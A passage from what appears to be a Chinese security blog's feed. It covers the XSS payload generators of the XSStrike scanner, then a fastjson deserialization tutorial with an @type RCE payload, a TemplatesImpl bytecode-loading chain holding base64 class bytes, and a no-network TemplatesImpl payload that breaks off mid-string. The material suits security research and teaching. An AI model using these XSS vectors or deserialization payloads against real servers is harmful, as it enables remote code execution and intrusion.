class="line"> suffix = <span class="string">'//\\'</span></span><br><span class="line"> <span class="keyword">for</span> filling <span class="keyword">in</span> jFillings:</span><br><span class="line"> <span class="keyword">for</span> function <span class="keyword">in</span> functions:</span><br><span class="line"> vector = quote + closer + filling + function + suffix</span><br><span class="line"> vectors[<span class="number">7</span>].add(vector)</span><br><span class="line"> <span class="keyword">elif</span> breakerEfficiency > <span class="number">83</span>:</span><br><span class="line"> prefix = <span class="string">''</span></span><br><span class="line"> suffix = <span class="string">'//'</span></span><br><span class="line"> <span class="keyword">if</span> breakerEfficiency != <span class="number">100</span>:</span><br><span class="line"> prefix = <span class="string">'\\'</span></span><br><span class="line"> <span class="keyword">for</span> filling <span class="keyword">in</span> jFillings:</span><br><span class="line"> <span class="keyword">for</span> function <span class="keyword">in</span> functions:</span><br><span class="line"> <span class="keyword">if</span> <span class="string">'='</span> <span class="keyword">in</span> function:</span><br><span class="line"> function = <span class="string">'('</span> + function + <span class="string">')'</span></span><br><span class="line"> <span class="keyword">if</span> quote == <span class="string">''</span>:</span><br><span class="line"> filling = <span class="string">''</span></span><br><span class="line"> vector = prefix + quote + closer + filling + function + suffix</span><br><span class="line"> vectors[<span class="number">6</span>].add(vector)</span><br><span class="line"> index += <span class="number">1</span></span><br><span class="line"> <span class="keyword">return</span> vectors</span><br><span class="line"></span><br></pre></td></tr></table></figure><h3 id="5-2-core-utils-py-genGen"><a href="#5-2-core-utils-py-genGen" class="headerlink" title="5.2 core/utils.py#genGen"></a>5.2 core/utils.py#genGen</h3><h4 id="函数:def-genGen-fillings-eFillings-lFillings-eventHandlers-tags-functions-ends-badTag-None"><a href="#函数:def-genGen-fillings-eFillings-lFillings-eventHandlers-tags-functions-ends-badTag-None" class="headerlink" title="函数:def genGen(fillings, eFillings, lFillings, eventHandlers, tags, functions, ends, badTag=None):"></a>函数:def genGen(fillings, eFillings, lFillings, eventHandlers, tags, functions, ends, badTag=None):</h4><h4 id="结构图:-7"><a href="#结构图:-7" class="headerlink" title="结构图:"></a>结构图:</h4><p><img src="6.png" alt="1"></p><h4 id="实现细节:-3"><a href="#实现细节:-3" class="headerlink" title="实现细节:"></a>实现细节:</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">fillings = ('%09', '%0a', '%0d', '/+/') #代替空格</span><br><span class="line">eFillings = ('%09', '%0a', '%0d', '+')</span><br><span class="line">lFillings = ('', '%0dx') # "Things" that can be used before > e.g. <tag attr=value%0dx></span><br><span class="line">eventHandlers = { 'ontoggle': ['details'],'onpointerenter': ['d3v', 'details', 'html', 'a'],'onmouseover': ['a', 'html', 'd3v']}</span><br><span class="line">tags = ('html', 'd3v', 'a', 'details') # HTML Tags</span><br><span class="line"></span><br><span class="line">functions = ( # JavaScript functions to get a popup</span><br><span class="line"> '[8].find(confirm)', 'confirm()',</span><br><span class="line"> '(confirm)()', 'co\u006efir\u006d()',</span><br><span class="line"> '(prompt)``', 'a=prompt,a()')</span><br><span class="line"></span><br><span class="line">ends=['//','>']</span><br><span class="line">badTag 获取回显点在(?s)(?i)<(style|template|textarea|title|noembed|noscript)>[.\s\S]*(%s)[.\s\S]*</\1>中的情况</span><br></pre></td></tr></table></figure><p>根据configs中的fillings,functions等列表循环组合生成payload。</p><h4 id="源码:-6"><a href="#源码:-6" class="headerlink" title="源码:"></a>源码:</h4><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># fillings = ('%09', '%0a', '%0d', '/+/') #代替空格</span></span><br><span class="line"><span class="comment"># eFillings = ('%09', '%0a', '%0d', '+')</span></span><br><span class="line"><span class="comment"># lFillings = ('', '%0dx') # "Things" that can be used before > e.g. <tag attr=value%0dx></span></span><br><span class="line"><span class="comment"># eventHandlers = { 'ontoggle': ['details'],'onpointerenter': ['d3v', 'details', 'html', 'a'],'onmouseover': ['a', 'html', 'd3v']}</span></span><br><span class="line"><span class="comment"># tags = ('html', 'd3v', 'a', 'details') # HTML Tags</span></span><br><span class="line"><span class="comment">#</span></span><br><span class="line"><span class="comment"># functions = ( # JavaScript functions to get a popup</span></span><br><span class="line"><span class="comment"># '[8].find(confirm)', 'confirm()',</span></span><br><span class="line"><span class="comment"># '(confirm)()', 'co\u006efir\u006d()',</span></span><br><span class="line"><span class="comment"># '(prompt)``', 'a=prompt,a()')</span></span><br><span class="line"><span class="comment">#</span></span><br><span class="line"><span class="comment"># ends=['//','>']</span></span><br><span class="line"><span class="comment"># badTag 获取回显点在(?s)(?i)<(style|template|textarea|title|noembed|noscript)>[.\s\S]*(%s)[.\s\S]*</\1>中的情况</span></span><br><span class="line"><span class="comment">#</span></span><br><span class="line"><span class="comment"># 根据configs中的fillings,functions等列表生成payload</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">genGen</span>(<span class="params">fillings, eFillings, lFillings, eventHandlers, tags, functions, ends, badTag=<span class="literal">None</span></span>):</span></span><br><span class="line"> vectors = []</span><br><span class="line"> r = randomUpper <span class="comment"># randomUpper randomly converts chars of a string to uppercase</span></span><br><span class="line"> <span class="comment"># html类型处理</span></span><br><span class="line"> <span class="keyword">for</span> tag <span class="keyword">in</span> tags:</span><br><span class="line"> <span class="keyword">if</span> tag == <span class="string">'d3v'</span> <span class="keyword">or</span> tag == <span class="string">'a'</span>:</span><br><span class="line"> bait = xsschecker</span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> bait = <span class="string">''</span></span><br><span class="line"> <span class="comment"># 循环eventHandlers</span></span><br><span class="line"> <span class="keyword">for</span> eventHandler <span class="keyword">in</span> eventHandlers:</span><br><span class="line"> <span class="comment"># if the tag is compatible with the event handler</span></span><br><span class="line"> <span class="comment"># 如果tag与eventHandlers相兼容</span></span><br><span class="line"> <span class="keyword">if</span> tag <span class="keyword">in</span> eventHandlers[eventHandler]:</span><br><span class="line"> <span class="comment">#</span></span><br><span class="line"> <span class="keyword">for</span> function <span class="keyword">in</span> functions:</span><br><span class="line"> <span class="keyword">for</span> filling <span class="keyword">in</span> fillings:</span><br><span class="line"> <span class="keyword">for</span> eFilling <span class="keyword">in</span> eFillings:</span><br><span class="line"> <span class="keyword">for</span> lFilling <span class="keyword">in</span> lFillings:</span><br><span class="line"> <span class="keyword">for</span> end <span class="keyword">in</span> ends:</span><br><span class="line"> <span class="keyword">if</span> tag == <span class="string">'d3v'</span> <span class="keyword">or</span> tag == <span class="string">'a'</span>:</span><br><span class="line"> <span class="keyword">if</span> <span class="string">'>'</span> <span class="keyword">in</span> ends:</span><br><span class="line"> <span class="comment"># 避免将//与>一起使用</span></span><br><span class="line"> end = <span class="string">'>'</span> <span class="comment"># we can't use // as > with "a" or "d3v" tag</span></span><br><span class="line"> breaker = <span class="string">''</span></span><br><span class="line"> <span class="comment"># 如果是textarea等标签,则生成</textarea>进行闭合</span></span><br><span class="line"> <span class="keyword">if</span> badTag:</span><br><span class="line"> breaker = <span class="string">'</'</span> + r(badTag) + <span class="string">'>'</span></span><br><span class="line"> <span class="comment"># 组合出payload,r()随机大小写</span></span><br><span class="line"> vector = breaker + <span class="string">'<'</span> + r(tag) + filling + r(</span><br><span class="line"> eventHandler) + eFilling + <span class="string">'='</span> + eFilling + function + lFilling + end + bait</span><br><span class="line"> vectors.append(vector)</span><br><span class="line"> <span class="keyword">return</span> vectors</span><br></pre></td></tr></table></figure>]]></content>
<categories>
<category> 安全开发 </category>
</categories>
<tags>
<tag> xss </tag>
<tag> 扫描器 </tag>
<tag> xsstrike </tag>
</tags>
</entry>
<entry>
<title>fastjson反序列化漏洞原理及扩展</title>
<link href="/2021/08/29/java%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/fastjson%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%8E%9F%E7%90%86%E5%8F%8A%E6%89%A9%E5%B1%95/"/>
<url>/2021/08/29/java%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/fastjson%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%8E%9F%E7%90%86%E5%8F%8A%E6%89%A9%E5%B1%95/</url>
<content type="html"><![CDATA[<p>内部分享中分享的一些fastjson知识点,这里简单记录一下。</p><p>文章中涉及的代码均已上传到github:<a href="https://github.com/h1iba1/fastjsonVulnDemo">https://github.com/h1iba1/fastjsonVulnDemo</a></p><h2 id="fastjson原理浅析"><a href="#fastjson原理浅析" class="headerlink" title="fastjson原理浅析"></a>fastjson原理浅析</h2><p>Fastjson反序列化采用两个函数:<br>JSON.parseObject(),JSON.parse()。</p><p>简单写一个demo来查看两者区别:<br><img src="1.png" alt="1"></p><p><code>parseObject</code>:默认返回 <code>fastjson.JSONObject</code> 类。</p><p>parse:默认返回@type指定的user类。</p><p>parseObject也可以添加<code>Object.class</code>参数来返回user类。</p><p><img src="2.png" alt="2"></p><h3 id="type"><a href="#type" class="headerlink" title="@type"></a>@type</h3><p>如果利用过fastjson漏洞,会发现几乎所有的payload中都存在@type,那这个@type有啥含义呢?</p><p><strong>@type参数能将我们序列化后的类转为@type中指定的类,然后在反序列化过程中会自动调用类中的setter和getter和构造函数。</strong></p><p>写一个简单的dome进行尝试:</p><p>EvilEntity.java</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.example.demo.entity;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">EvilEntity</span> </span>{</span><br><span class="line"> String cmd;</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="title">EvilEntity</span><span class="params">()</span></span>{</span><br><span class="line"></span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">setCmd</span><span class="params">(String cmd)</span> <span class="keyword">throws</span> Exception</span>{</span><br><span class="line"> <span class="keyword">this</span>.cmd = cmd;</span><br><span class="line"> Runtime.getRuntime().exec(<span class="keyword">this</span>.cmd);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> String <span class="title">getCmd</span><span class="params">()</span></span>{</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">this</span>.cmd;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="meta">@Override</span></span><br><span class="line"> <span class="function"><span class="keyword">public</span> String <span class="title">toString</span><span class="params">()</span> </span>{</span><br><span class="line"> <span class="keyword">return</span> <span class="string">"Evil{"</span> +</span><br><span class="line"> <span class="string">"cmd='"</span> + cmd + <span class="string">'\''</span> +</span><br><span class="line"> <span class="string">'}'</span>;</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>FastJsonVuln.java</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.example.demo.controller;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> com.alibaba.fastjson.JSON;</span><br><span class="line"><span class="keyword">import</span> com.alibaba.fastjson.parser.Feature;</span><br><span class="line"><span class="keyword">import</span> org.springframework.web.bind.annotation.*;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="meta">@RestController</span></span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">FastJsonVuln</span> </span>{</span><br><span class="line"></span><br><span class="line"> <span class="meta">@RequestMapping(value = "/fastjson",method = RequestMethod.POST)</span></span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">fj_poc_test</span><span class="params">(<span class="meta">@RequestBody</span> String data)</span> <span class="keyword">throws</span> Exception</span>{</span><br><span class="line"></span><br><span class="line"> Object obj= JSON.parseObject(data,Object.class, Feature.SupportNonPublicField);</span><br><span class="line"></span><br><span class="line"> System.out.println(data);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="meta">@RequestMapping("/hello")</span></span><br><span class="line"> <span class="function"><span class="keyword">public</span> String <span class="title">hello</span><span class="params">()</span></span>{</span><br><span class="line"> <span class="keyword">return</span> <span class="string">"hello world"</span>;</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>post</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">{<span class="attr">"@type"</span>:<span class="string">"com.example.demo.entity.EvilEntity"</span>,<span class="attr">"cmd"</span>:<span class="string">"open -a Calculator"</span>}</span><br></pre></td></tr></table></figure><p><img src="3-9873980.png" alt="3"></p><p>@type将我们序列化的数据转为了EvilEntity类型。<code>obj.getClass().getName();</code>获取对象类名可看到已经转为了EvilEntity类。</p><p><img src="4.png" alt="4"></p><p>自动调用转换类型的set方法,进行赋值。</p><p><img src="5.png" alt="5"></p><p>@type流程自动调用setter/getter底层流程感兴趣的可以跟一跟</p><p>木头的文章分析的很详细:<a href="https://mp.weixin.qq.com/s/30F7FomHiTnak_qe8mslIQ">https://mp.weixin.qq.com/s/30F7FomHiTnak_qe8mslIQ</a></p><p>简单跟了一下…</p><p><img src="6.png" alt="6"></p><h2 id="templatesImpl链条分析"><a href="#templatesImpl链条分析" class="headerlink" title="templatesImpl链条分析"></a>templatesImpl链条分析</h2><p>TemplatesImpl这条链熟悉cc2的朋友可能会了解。调用流程如下;</p><p><img src="7.png" alt="7"></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">TemplatesImpl#getOutputProperties()->TemplatesImpl#newTransformer()->TemplatesImpl#getTransletInstance()->TemplatesImpl#definerTransletClasses()->TransletClassLoader#defineClass()</span><br></pre></td></tr></table></figure><p>defneClass可以将字节码转换为java类。而在这条链中刚好可以调用它,所以就给我们实例化字节码,命令执行提供了机会。</p><p>TemplatesImpl加载字节码demo:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;</span><br><span class="line"><span class="keyword">import</span> com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.codec.binary.Base64;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Field;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">HelloTemplatesImpl1</span> </span>{</span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title">setFieldValue</span><span class="params">(Object obj, String fieldName, Object value)</span> <span class="keyword">throws</span> Exception </span>{</span><br><span class="line"> Field field = obj.getClass().getDeclaredField(fieldName);</span><br><span class="line"> field.setAccessible(<span class="keyword">true</span>);</span><br><span class="line"> field.set(obj, value);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> Exception </span>{</span><br><span class="line"> <span class="comment">// source: bytecodes/HelloTemplateImpl.java</span></span><br><span class="line"> <span class="keyword">byte</span>[] code = Base64.decodeBase64(<span class="string">"yv66vgAAADQANQoACwAaCQAbABwIAB0KAB4AHwoAIAAhCAAiCgAgACMHACQKAAgAJQcAJgcAJwEA\n"</span> +</span><br><span class="line"> <span class="string">"CXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RP\n"</span> +</span><br><span class="line"> <span class="string">"TTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0\n"</span> +</span><br><span class="line"> <span class="string">"aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAoAQCm\n"</span> +</span><br><span class="line"> <span class="string">"KExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29y\n"</span> +</span><br><span class="line"> <span class="string">"Zy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2Fw\n"</span> +</span><br><span class="line"> <span class="string">"YWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxp\n"</span> +</span><br><span class="line"> <span class="string">"bml0PgEAAygpVgEADVN0YWNrTWFwVGFibGUHACYHACQBAApTb3VyY2VGaWxlAQAXSGVsbG9UZW1w\n"</span> +</span><br><span class="line"> <span class="string">"bGF0ZXNJbXBsLmphdmEMABMAFAcAKQwAKgArAQATSGVsbG8gVGVtcGxhdGVzSW1wbAcALAwALQAu\n"</span> +</span><br><span class="line"> <span class="string">"BwAvDAAwADEBABJvcGVuIC1hIENhbGN1bGF0b3IMADIAMwEAE2phdmEvaW8vSU9FeGNlcHRpb24M\n"</span> +</span><br><span class="line"> <span class="string">"ADQAFAEAEkhlbGxvVGVtcGxhdGVzSW1wbAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRl\n"</span> +</span><br><span class="line"> <span class="string">"cm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADljb20vc3VuL29yZy9hcGFjaGUv\n"</span> +</span><br><span class="line"> <span class="string">"eGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABBqYXZhL2xhbmcvU3lzdGVt\n"</span> +</span><br><span class="line"> <span class="string">"AQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3By\n"</span> +</span><br><span class="line"> <span class="string">"aW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1\n"</span> +</span><br><span class="line"> <span class="string">"bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5n\n"</span> +</span><br><span class="line"> <span class="string">"OylMamF2YS9sYW5nL1Byb2Nlc3M7AQAPcHJpbnRTdGFja1RyYWNlACEACgALAAAAAAADAAEADAAN\n"</span> +</span><br><span class="line"> <span class="string">"AAIADgAAABkAAAADAAAAAbEAAAABAA8AAAAGAAEAAAAMABAAAAAEAAEAEQABAAwAEgACAA4AAAAZ\n"</span> +</span><br><span class="line"> <span class="string">"AAAABAAAAAGxAAAAAQAPAAAABgABAAAADgAQAAAABAABABEAAQATABQAAQAOAAAAbAACAAIAAAAe\n"</span> +</span><br><span class="line"> <span class="string">"KrcAAbIAAhIDtgAEuAAFEga2AAdXpwAITCu2AAmxAAEADAAVABgACAACAA8AAAAeAAcAAAAQAAQA\n"</span> +</span><br><span class="line"> <span class="string">"EQAMABQAFQAXABgAFQAZABYAHQAYABUAAAAQAAL/ABgAAQcAFgABBwAXBAABABgAAAACABk="</span>);</span><br><span class="line"> TemplatesImpl obj = <span class="keyword">new</span> TemplatesImpl();</span><br><span class="line"> setFieldValue(obj, <span class="string">"_bytecodes"</span>, <span class="keyword">new</span> <span class="keyword">byte</span>[][] {code});</span><br><span class="line"> setFieldValue(obj, <span class="string">"_name"</span>, <span class="string">"Helloss"</span>);</span><br><span class="line"> setFieldValue(obj, <span class="string">"_tfactory"</span>, <span class="keyword">new</span> TransformerFactoryImpl());</span><br><span class="line"></span><br><span class="line"> obj.getOutputProperties();</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>加载的字节码来自于HelloTemplatesImpl.java代码,javac编译java文件,编码成base64传输即可</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> com.sun.org.apache.xalan.internal.xsltc.DOM;</span><br><span class="line"><span class="keyword">import</span> com.sun.org.apache.xalan.internal.xsltc.TransletException;</span><br><span class="line"><span class="keyword">import</span> com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;</span><br><span class="line"><span class="keyword">import</span> com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;</span><br><span class="line"><span class="keyword">import</span> com.sun.org.apache.xml.internal.serializer.SerializationHandler;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.io.IOException;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">HelloTemplatesImpl</span> <span class="keyword">extends</span> <span class="title">AbstractTranslet</span> </span>{</span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">transform</span><span class="params">(DOM document, SerializationHandler[] handlers)</span></span></span><br><span class="line"><span class="function"> <span class="keyword">throws</span> TransletException </span>{}</span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">transform</span><span class="params">(DOM document, DTMAxisIterator iterator,</span></span></span><br><span class="line"><span class="params"><span class="function"> SerializationHandler handler)</span> <span class="keyword">throws</span> TransletException </span>{}</span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="title">HelloTemplatesImpl</span><span class="params">()</span> </span>{</span><br><span class="line"> <span class="keyword">super</span>();</span><br><span class="line"> System.out.println(<span class="string">"Hello TemplatesImpl"</span>);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> Runtime.getRuntime().exec(<span class="string">"open -a Calculator"</span>);</span><br><span class="line"> } <span class="keyword">catch</span> (IOException e) {</span><br><span class="line"> e.printStackTrace();</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>执行即可实例化字节码,造成代码执行。</p><p><img src="8.png" alt="8"></p><h3 id="那么TemplatesImpl链条如何和fastjson结合起来呢?"><a href="#那么TemplatesImpl链条如何和fastjson结合起来呢?" class="headerlink" title="那么TemplatesImpl链条如何和fastjson结合起来呢?"></a>那么TemplatesImpl链条如何和fastjson结合起来呢?</h3><p>FastJson在反序列化过程中会自动调用类中的getter函数和setter函数,然后在FastJson在寻找对应的反序列化器的时候会调用一个smartMatch函数来进行模糊匹配,在该函数中会将我们 json中的 <code>_outputProperties</code> 转换成 <code>outputProperties</code>,转换之后fastjson就会找到 getOutputProperties 方法,最后调用时触发了TemplatesImpl的利用链导致RCE</p><p><a href="https://paper.seebug.org/636/">https://paper.seebug.org/636/</a></p><p>smartMatch会替换key中的_为空,<code>_outputProperties</code> 就转换成 <code>outputProperties</code>。</p><p><img src="9.png" alt="9"></p><p>结合一开始说过的@type特性,自动调用getter方法,此时就会去调用getOutputProperties方法。就进入了templatesImpl链</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">TemplatesImpl#getOutputProperties()->TemplatesImpl#newTransformer()->TemplatesImpl#getTransletInstance()->TemplatesImpl#definerTransletClasses()->TransletClassLoader#defineClass()</span><br></pre></td></tr></table></figure><h3 id="扩展,不出网时利用"><a href="#扩展,不出网时利用" class="headerlink" title="扩展,不出网时利用"></a>扩展,不出网时利用</h3><p>通过对templatesImpl链的分析,可以发现templatesImpl直接传输字节码不需要出网就能利用。</p><p>Payload:</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">{<span class="attr">"@type"</span>:<span class="string">"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"</span>,<span class="attr">"_bytecodes"</span>:[<span class="string">"yv66vgAAADQANQoACwAaCQAbABwIAB0KAB4AHwoAIAAhCAAiCgAgACMHACQKAAgAJQcAJgcAJwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAoAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgEADVN0YWNrTWFwVGFibGUHACYHACQBAApTb3VyY2VGaWxlAQAXSGVsbG9UZW1wbGF0ZXNJbXBsLmphdmEMABMAFAcAKQwAKgArAQATSGVsbG8gVGVtcGxhdGVzSW1wbAcALAwALQAuBwAvDAAwADEBABJvcGVuIC1hIENhbGN1bGF0b3IMADIAMwEAE2phdmEvaW8vSU9FeGNlcHRpb24MADQAFAEAEkhlbGxvVGVtcGxhdGVzSW1wbAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07A